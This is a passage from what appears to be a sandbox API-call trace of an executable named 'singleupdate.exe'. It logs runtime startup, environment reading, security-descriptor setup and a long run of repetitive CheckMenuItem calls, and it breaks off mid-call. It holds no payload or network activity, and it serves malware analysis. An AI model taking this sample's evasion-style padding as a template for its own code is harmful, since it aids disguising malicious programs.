¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x19fb98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6e\x3b\x32\xbc\xd4\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0184.110] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x80) returned 0x652e30 [0184.110] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fce0, nSize=0x105 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0184.110] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x75e90000 [0184.110] GetProcAddress (hModule=0x75e90000, lpProcName="AreFileApisANSI") returned 0x75ea4280 [0184.110] AreFileApisANSI () returned 1 [0184.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0184.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", cchWideChar=-1, lpMultiByteStr=0x49a678, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", lpUsedDefaultChar=0x0) returned 41 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x3b) returned 0x65e3d0 [0184.111] RtlInitializeSListHead (in: ListHead=0x49a110 | out: ListHead=0x49a110) [0184.111] GetLastError () returned 0x0 [0184.111] SetLastError (dwErrCode=0x0) [0184.111] GetEnvironmentStringsW () returned 0x66d8c0* [0184.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x565) returned 0x66e398 [0184.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x66e398, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0184.111] FreeEnvironmentStringsW (penv=0x66d8c0) returned 1 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x94) returned 0x65bf48 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1f) returned 0x65b640 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x28) returned 0x662b50 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x37) returned 0x667f10 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x3c) returned 0x65dc80 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x31) returned 0x6684d0 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x14) returned 0x665b40 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x24) returned 0x662d90 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xd) returned 0x660a80 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x17) returned 0x665b80 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x2b) returned 0x65ba20 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x15) returned 0x665ba0 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x17) returned 0x665ea0 [0184.111] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x22) returned 0x662c10 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xe) returned 0x660af8 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xc1) returned 0x65aea0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x3e) returned 0x65df08 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1b) returned 0x653ce0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1d) returned 0x65c650 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x48) returned 0x664188 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x12) returned 0x665cc0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x18) returned 0x665de0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1b) returned 0x652d98 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x24) returned 0x662dc0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x29) returned 0x65bac8 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1e) returned 0x652dc0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x6b) returned 0x65c580 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x17) returned 0x665bc0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xf) returned 0x660a98 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x16) returned 0x665d40 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x28) returned 0x662df0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x27) returned 0x662a90 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x12) returned 0x665ec0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x21) returned 0x662ac0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x10) returned 0x660ab0 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x1c) returned 0x66eb38 [0184.112] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x12) returned 0x665ee0 [0184.112] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66e398 | out: hHeap=0x650000) returned 1 [0184.113] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionEx") returned 0x75efebc0 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="InitOnceExecuteOnce") returned 0x74f95550 [0184.113] GetProcAddress (hModule=0x75e90000, lpProcName="CreateEventExW") returned 0x75efeb20 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreW") returned 0x75efeb90 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSemaphoreExW") returned 0x75efeb80 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolTimer") returned 0x75ea6d30 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolTimer") returned 0x77bfd7c0 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77bfb840 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolTimer") returned 0x77bfb740 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWait") returned 0x75ea6d70 [0184.114] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadpoolWait") returned 0x77bfc0b0 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWait") returned 0x77bfbe10 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="FlushProcessWriteBuffers") returned 0x77c22b20 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77c18e50 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessorNumber") returned 0x77c152f0 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="CreateSymbolicLinkW") returned 0x75ea4510 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentPackageId") returned 0x74f9e260 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount64") returned 0x75ea0db0 [0184.115] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileInformationByHandleEx") returned 0x75ea43d0 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileInformationByHandle") returned 0x75eff110 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x75eff1e0 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeConditionVariable") returned 0x77c13a00 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="WakeConditionVariable") returned 0x77c88c50 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="WakeAllConditionVariable") returned 0x77c18a90 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableCS") returned 0x7500fca0 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeSRWLock") returned 0x77c13a00 [0184.116] GetProcAddress (hModule=0x75e90000, lpProcName="AcquireSRWLockExclusive") returned 0x77bf58e0 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77c72ce0 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseSRWLockExclusive") returned 0x77bf83a0 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="SleepConditionVariableSRW") returned 0x7500fcf0 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThreadpoolWork") returned 0x75ea6db0 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="SubmitThreadpoolWork") returned 0x77bfeb00 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="CloseThreadpoolWork") returned 0x77bfed50 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringEx") returned 0x75ea7050 [0184.117] GetProcAddress (hModule=0x75e90000, lpProcName="GetLocaleInfoEx") returned 0x75ea7190 [0184.118] GetProcAddress (hModule=0x75e90000, lpProcName="LCMapStringEx") returned 0x75ea7480 [0184.118] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x800) returned 0x66d8c0 [0184.118] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0184.118] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4321f2) returned 0x0 [0184.118] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x66c078 [0184.118] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="CompareStringEx") returned 0x74f62c20 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="EnumSystemLocalesEx") returned 0x74f63a60 [0184.119] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="GetDateFormatEx") returned 0x74fd9b40 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="GetLocaleInfoEx") returned 0x74f8f170 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="GetTimeFormatEx") returned 0x74fd9e10 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="GetUserDefaultLocaleName") returned 0x74f94220 [0184.119] GetProcAddress (hModule=0x74ea0000, lpProcName="IsValidLocaleName") returned 0x74f8ed60 [0184.119] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.120] GetProcAddress (hModule=0x74ea0000, lpProcName="LCIDToLocaleName") returned 0x74f8da50 [0184.120] GetProcAddress (hModule=0x74ea0000, lpProcName="LocaleNameToLCID") returned 0x74f6bac0 [0184.120] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x20) returned 0x66eb60 [0184.120] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x66bfa8 [0184.120] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bfa8 | out: hHeap=0x650000) returned 1 [0184.120] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x66c158 [0184.120] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x66c178 [0184.120] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x18) returned 0x665e00 [0184.120] GetLastError () returned 0x0 [0184.121] SetLastError (dwErrCode=0x0) [0184.121] GetLastError () returned 0x0 [0184.121] SetLastError (dwErrCode=0x0) [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x660610 [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x66ed10 [0184.121] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66ed10 | out: hHeap=0x650000) returned 1 [0184.121] GetLastError () returned 0x0 [0184.121] SetLastError (dwErrCode=0x0) [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x66bf98 [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x66bfa8 [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x66c028 [0184.121] GetLastError () returned 0x0 [0184.121] SetLastError (dwErrCode=0x0) [0184.121] GetLastError () returned 0x0 [0184.121] SetLastError (dwErrCode=0x0) [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x658388 [0184.121] GetLastError () returned 0x0 [0184.121] SetLastError (dwErrCode=0x0) [0184.121] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x66ed10 [0184.122] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66ed10 | out: hHeap=0x650000) returned 1 [0184.122] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bf98 | out: hHeap=0x650000) returned 1 [0184.122] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x660610 | out: hHeap=0x650000) returned 1 [0184.122] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66c028 | out: hHeap=0x650000) returned 1 [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x66bf98 [0184.122] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x2) returned 0x66bff8 [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x200) returned 0x66e510 [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x4) returned 0x66c058 [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xb8) returned 0x660610 [0184.122] GetLastError () returned 0x0 [0184.122] SetLastError (dwErrCode=0x0) [0184.122] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6a6) returned 0x66ed10 [0184.123] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66ed10 | out: hHeap=0x650000) returned 1 [0184.123] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bf98 | out: hHeap=0x650000) returned 1 [0184.123] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x658388 | out: hHeap=0x650000) returned 1 [0184.123] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66c058 | out: hHeap=0x650000) returned 1 [0184.123] GetLastError () returned 0x0 [0184.141] SetLastError (dwErrCode=0x0) [0184.141] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x66bf98 [0184.141] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bff8 | out: hHeap=0x650000) returned 1 [0184.142] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x66bfa8 | out: hHeap=0x650000) returned 1 [0184.142] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x66bfc8 [0184.142] GetStartupInfoW (in: lpStartupInfo=0x19ff00 | out: lpStartupInfo=0x19ff00*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0184.142] CoInitialize (pvReserved=0x0) returned 0x0 [0184.171] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fde4, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fe00 | out: pSid=0x19fe00*=0x660b10*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0184.171] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fe2c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fdfc | out: pSid=0x19fdfc*=0x660b40*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0184.172] SetEntriesInAclA () returned 0x0 [0184.174] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x665be0 [0184.174] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x665be0, dwRevision=0x1 | out: pSecurityDescriptor=0x665be0) returned 1 [0184.174] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x665be0, bDaclPresent=1, pDacl=0x668510, bDaclDefaulted=0 | out: pSecurityDescriptor=0x665be0) returned 1 [0184.174] CM_Delete_Range (ullStartValue=0x0, ullEndValue=0x0, rlh=0x0, ulFlags=0x0) returned 0x11 [0184.174] CM_Detect_Resource_Conflict (in: dnDevInst=0x0, ResourceID=0x0, ResourceData=0x0, ResourceLen=0x0, pbConflictDetected=0x0, ulFlags=0x0 | out: pbConflictDetected=0x0) returned 0x5 [0184.174] LockResource (hResData=0x0) returned 0x0 [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.174] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, uCheck=0x8) returned 0xffffffff [0184.175] CheckMenuItem (hMenu=0x0, uIDCheckItem=0x0, 